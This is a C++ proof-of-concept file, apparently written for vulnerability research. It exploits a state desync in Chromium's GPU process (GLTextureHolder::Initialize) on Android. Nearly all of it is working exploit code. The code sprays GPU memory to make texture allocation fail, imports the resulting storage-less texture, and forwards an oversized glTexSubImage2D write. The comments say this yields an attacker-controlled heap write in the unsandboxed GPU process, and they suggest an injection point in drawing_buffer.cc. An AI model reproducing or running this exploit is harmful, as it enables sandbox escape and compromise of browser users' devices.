// Conceptual renderer-side POC for the GLTextureHolder::Initialize LevelInfo
// desync (Android validating-decoder population only).
//
// This snippet documents the exact IPC sequence a compromised renderer would
// issue to (a) create a SharedImage whose service-side glTexStorage2DEXT fails
// while the validating decoder's gles2::Texture LevelInfo is already committed
// at {W,H}, and (b) forward an attacker-controlled glTexSubImage2D against the
// resulting zero-storage native texture.
//
// It is written against the real Chromium client APIs so it can be dropped
// into any renderer-side call site that has access to a
// WebGraphicsContext3DProvider (e.g. inside
// blink::WebGLRenderingContextBase::InitializeNewContext or
// blink::DrawingBuffer::Initialize). Tested only for compile-shape; runtime
// requires an Android device on the validating-decoder population (see
// README.md).
//
// ---------------------------------------------------------------------------
// Suggested injection point (Strategy B):
//
//   third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc
//     in DrawingBuffer::Initialize(), after `gl_` and the SharedImageInterface
//     are both available.
//
// Add a one-shot guard so it runs once per renderer process.
// ---------------------------------------------------------------------------

#include <cstdint>
#include <cstring>
#include <vector>

#include "components/viz/common/resources/shared_image_format.h"
#include "gpu/GLES2/gl2extchromium.h"
#include "gpu/command_buffer/client/client_shared_image.h"
#include "gpu/command_buffer/client/gles2_interface.h"
#include "gpu/command_buffer/client/shared_image_interface.h"
#include "gpu/command_buffer/common/shared_image_usage.h"
#include "gpu/command_buffer/common/sync_token.h"
#include "third_party/khronos/GLES2/gl2.h"
#include "ui/gfx/color_space.h"
#include "ui/gfx/geometry/size.h"

namespace {

// Forwards a {W,H} glTexSubImage2D against a SharedImage whose service-side
// native storage allocation is induced to fail via GPU-memory pressure.
//
// `sii`  : the renderer's SharedImageInterface (sends
//          gpu.mojom.DeferredSharedImageRequest::CreateSharedImage to the
//          GPU process; on validating-decoder Android this lands in
//          GLTextureImageBackingFactory → GLTextureHolder::Initialize).
// `gl`   : the renderer's GLES2 command-buffer client (validating decoder on
//          the service side; HandleTexSubImage2D → ValidateAndDoTexSubImage).
// `max_texture_size` : value of GL_MAX_TEXTURE_SIZE on the device (query via
//          gl->GetIntegerv before calling).
void TriggerGLTextureHolderLevelInfoDesync(gpu::SharedImageInterface* sii,
                                           gpu::gles2::GLES2Interface* gl,
                                           GLint max_texture_size) {
  // ---- Step 1: Pressure GPU memory so the next glTexStorage2DEXT fails. ----
  //
  // GLCommonImageBackingFactory::CanCreateTexture only checks
  // 1 <= dim <= GL_MAX_TEXTURE_SIZE with no aggregate-memory cap, so a
  // compromised renderer can spray near-max RGBA8 SharedImages until the
  // driver hits GL_OUT_OF_MEMORY. Each max_dim x max_dim RGBA8 texture is up
  // to ~1 GiB at GL_MAX_TEXTURE_SIZE = 16384.
  //
  // The pressure images must stay alive (held in `pressure`) so their storage
  // is not released before the target allocation.
  constexpr int kPressureRounds = 64;  // tune per device
  const int pressure_dim = max_texture_size;  // largest accepted by factory
  std::vector<scoped_refptr<gpu::ClientSharedImage>> pressure;
  pressure.reserve(kPressureRounds);
  for (int i = 0; i < kPressureRounds; ++i) {
    auto img = sii->CreateSharedImage(
        {viz::SinglePlaneFormat::kRGBA_8888,
         gfx::Size(pressure_dim, pressure_dim), gfx::ColorSpace::CreateSRGB(),
         gpu::SHARED_IMAGE_USAGE_GLES2_READ |
             gpu::SHARED_IMAGE_USAGE_GLES2_WRITE,
         "poc-pressure"},
        gpu::kNullSurfaceHandle);
    if (img) {
      pressure.push_back(std::move(img));
    }
  }
  // Ensure the GPU process has serviced the pressure allocations before the
  // target allocation is dispatched.
  gpu::SyncToken pressure_done = sii->GenVerifiedSyncToken();
  gl->WaitSyncTokenCHROMIUM(pressure_done.GetConstData());
  gl->Finish();

  // ---- Step 2: Create the target SharedImage. ----
  //
  // Service side: SharedImageStub::OnCreateSharedImage →
  //   SharedImageFactory::CreateSharedImage → GetFactoryByUsage selects
  //   GLTextureImageBackingFactory (WrappedSkImage lacks GLES2_READ/WRITE) →
  //   GLTextureImageBacking::InitializeGLTexture →
  //   GLTextureHolder::Initialize (is_passthrough_ == false).
  //
  // Inside Initialize:
  //   (A) texture_->SetLevelInfo(target, 0, fmt, kW, kH, 1, ...);  // committed
  //       texture_->SetImmutable(true, supports_storage);          // committed
  //   (B) glTexStorage2DEXT(target, 1, ifmt, kW, kH);
  //       → GL_OUT_OF_MEMORY (induced by Step 1); NOT checked, NOT rolled back.
  //
  // Result: gles2::Texture LevelInfo says {kW,kH,1}, native texture has no
  // level-0 storage. Backing is registered in SharedImageManager regardless.
  const int kW = max_texture_size;
  const int kH = max_texture_size;
  scoped_refptr<gpu::ClientSharedImage> target = sii->CreateSharedImage(
      {viz::SinglePlaneFormat::kRGBA_8888, gfx::Size(kW, kH),
       gfx::ColorSpace::CreateSRGB(),
       gpu::SHARED_IMAGE_USAGE_GLES2_READ | gpu::SHARED_IMAGE_USAGE_GLES2_WRITE,
       "poc-target"},
      gpu::kNullSurfaceHandle);
  if (!target) {
    return;  // client-side rejected; nothing to do
  }
  gpu::SyncToken target_created = sii->GenVerifiedSyncToken();
  gl->WaitSyncTokenCHROMIUM(target_created.GetConstData());

  // ---- Step 3: Import the desynced texture into the validating decoder. ----
  //
  // Service side: GLES2DecoderImpl::DoCreateAndTexStorage2DSharedImageINTERNAL
  //   → ProduceGLTexture → returns the SAME desynced gles2::Texture* →
  //   texture_manager()->ConsumeSharedImage(client_id, ...).
  GLuint tex = gl->CreateAndTexStorage2DSharedImageCHROMIUM(
      reinterpret_cast<const GLbyte*>(&target->mailbox()));
  gl->BindTexture(GL_TEXTURE_2D, tex);

  // ---- Step 4: Forward an oversized write to the native driver. ----
  //
  // Service side: HandleTexSubImage2D → TextureManager::ValidateAndDoTexSubImage
  //   → ValidateTexSubImage → texture->ValidForTexture(target,0,0,0,0,kW,kH,1)
  //     reads stale LevelInfo {kW,kH,1} → PASSES.
  //   → !texture->IsImmutable() is false (SetImmutable(true) at step 2) so the
  //     full-image glTexImage2D re-allocation escape at texture_manager.cc:2936
  //     is skipped; the raw-forward branch at :2959-2972 is taken:
  //       glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, kW, kH, GL_RGBA,
  //                       GL_UNSIGNED_BYTE, <attacker bytes>)
  //     against a native texture with NO level-0 storage.
  //
  // On a non-robust Android GLES driver this is a heap write in the
  // unsandboxed GPU process with attacker-controlled length and contents.
  // On a conforming driver: native GL_INVALID_OPERATION (invariant still
  // violated; the validating decoder exists precisely to shield such drivers).
  //
  // Use a smaller payload first to keep the transfer buffer manageable while
  // still demonstrating the ValidForTexture bypass; a real exploit would size
  // this to the desired overwrite length.
  const int kPayloadW = 256;
  const int kPayloadH = 256;
  std::vector<uint8_t> payload(static_cast<size_t>(kPayloadW) * kPayloadH * 4,
                               0x41);
  gl->TexSubImage2D(GL_TEXTURE_2D, /*level=*/0, /*xoffset=*/0, /*yoffset=*/0,
                    kPayloadW, kPayloadH, GL_RGBA, GL_UNSIGNED_BYTE,
                    payload.data());
  gl->Finish();

  // Alternate sink (no transfer buffer needed): bind a renderer-owned read FBO
  // and issue CopyTexSubImage2D — DoCopyTexSubImage2D gates only on the same
  // stale ValidForTexture and forwards glCopyTexSubImage2D to the driver.
  //   gl->CopyTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, 0, 0, kW, kH);

  // ---- Cleanup (not reached if the GPU process crashed). ----
  gl->DeleteTextures(1, &tex);
  pressure.clear();
}

}  // namespace
